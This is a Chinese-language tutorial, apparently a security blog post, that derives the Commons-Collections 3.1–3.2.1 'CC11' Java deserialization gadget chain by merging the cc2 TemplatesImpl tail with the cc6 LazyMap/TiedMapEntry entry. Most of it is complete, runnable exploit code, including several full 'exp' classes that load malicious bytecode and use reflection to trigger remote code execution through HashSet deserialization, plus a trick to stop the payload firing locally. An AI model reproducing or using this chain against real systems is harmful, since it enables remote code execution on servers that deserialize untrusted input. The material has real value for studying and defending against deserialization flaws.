前言
环境依旧还是 CommonsCollections 3.1-3.2.1
像是 cc2 和 cc6 的杂交,除了 CC1-7 的链子,剩下的链子都可以通过结合产生 CC-N。
利用链分析
1 2 3 4 5 6 7 8 9 10 11 java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() ... templates gadgets ... java.lang.Runtime.exec()
cc2的尾部链子(TemplatesImpl 链)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field nameField = aClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"zer0" ); Field bytecodesField = aClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = aClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl()); templates.newTransformer();
然后看cc6的lazyMap
1 2 3 4 5 6 7 8 9 10 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1 )); TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, "aaa" );
结合使用,调用getValue
instantiateTransformer 改为 InvokerTransformer
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field nameField = aClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"zer0" ); Field bytecodesField = aClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = aClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, chainedTransformer); TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, "aaa" ); TiedMapget.getValue();
然后再看cc6的入口部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;import java.util.PriorityQueue;public class CC11Test { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field nameField = aClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"zer0" ); Field bytecodesField = aClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = aClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1 )); TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, "aaa" ); HashMap<Object, Object> HashMap1 = new HashMap<>(); HashMap1.put(TiedMapget,"bbbb" ); LazydecorateMap.remove("aaa" ); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(LazydecorateMap, chainedTransformer); unserialization("./2.ser" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser" )); out_obj1.writeObject(obj); out_obj1.close(); } public static Object unserialization (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename)); Object ois = obj2.readObject(); return ois; } }
至此,构建了cc6+cc2的链子。但实际上cc11的链子是不带Transformer 数组的
(因为CC11想要干的是不带Transformer数组的链子,其实就是为了规避Shiro-550反序列化时的一个问题:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。)
LazyMap#get 的参数 key,会被传进transform(),实际上它可以扮演 ConstantTransformer 的角色————一个简单的对象传递者。
我们 LazyMap.get(key) 直接调用 InvokerTransfomer.transform(key),然后像CC2那样调用 TempalteImpl.newTransformer() 来完成后续调用。
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer" ,null ,null ) }; InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer" , new Class[]{}, new Object[]{});
后续利用反射,调用InvokernewTransformer。
修改后的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC11Gai { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field nameField = aClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"zer0" ); Field bytecodesField = aClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = aClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl()); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer" , new Class[]{}, new Object[]{}); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1 )); TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, templates); HashMap<Object, Object> HashMap1 = new HashMap<>(); HashMap1.put(TiedMapget,"bbbb" ); LazydecorateMap.remove(templates); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(LazydecorateMap, invokerTransformer); unserialization("./2.ser" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser" )); out_obj1.writeObject(obj); out_obj1.close(); } public static Object unserialization (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename)); Object ois = obj2.readObject(); return ois; } }
最终链子(入口类)
HashMap.put()之后的链子都梳理完毕了,但是我们还差入口类。
看一下HashSet#readObject
1 2 3 4 5 6 for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); }
我们要控制e这个参数。让它put进去,然后执行后续的攻击链,而这里 e 是根据 s 反序列化得来的。
我们查看对应序列化的方法 ,如果我们能控制 HashSet 的 map 属性中的 key 那么就能触发 RCE。
利用反射控制HashSet的属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 HashSet hashset = new HashSet(1 ); hashset.add("zer0" ); Field f = null ; try { f = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap" ); } f.setAccessible(true ); HashMap hashset_map = (HashMap) f.get(hashset); Field f2 = null ; try { f2 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData" ); } f2.setAccessible(true ); Object[] array = (Object[]) f2.get(hashset_map); Object node = array[0 ]; if (node == null ) { node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); } catch (Exception e) { keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } keyField.setAccessible(true ); keyField.set(node, TiedMapget);
最后利用反射修改我们之前 InvokerTransformer 中的 iMethodName属性(这样是为了防止我们在生成 payload 的时候触发 RCE,在前面的几条链中也会这么操作,有的时候在本地触发 RCE 之后会导致数值改变然后在服务端就无法触发 RCE 了)
1 2 3 Field f3 = transformer.getClass().getDeclaredField("iMethodName" ); f3.setAccessible(true ); f3.set(transformer, "newTransformer" );
最终的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class CC11Gai { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field nameField = aClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"zer0" ); Field bytecodesField = aClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = aClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl()); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer" , new Class[]{}, new Object[]{}); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, invokerTransformer); TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, templates); HashSet hashset = new HashSet(1 ); hashset.add("zer0" ); Field f = null ; try { f = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap" ); } f.setAccessible(true ); HashMap hashset_map = (HashMap) f.get(hashset); Field f2 = null ; try { f2 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData" ); } f2.setAccessible(true ); Object[] array = (Object[]) f2.get(hashset_map); Object node = array[0 ]; if (node == null ) { node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); } catch (Exception e) { keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } keyField.setAccessible(true ); keyField.set(node, TiedMapget); Field f3 = invokerTransformer.getClass().getDeclaredField("iMethodName" ); f3.setAccessible(true ); f3.set(invokerTransformer, "newTransformer" ); unserialization("./2.ser" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser" )); out_obj1.writeObject(obj); out_obj1.close(); } public static Object unserialization (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename)); Object ois = obj2.readObject(); return ois; } }
读class加载恶意类这里,最后还可以利用javasist动态创建恶意字节码。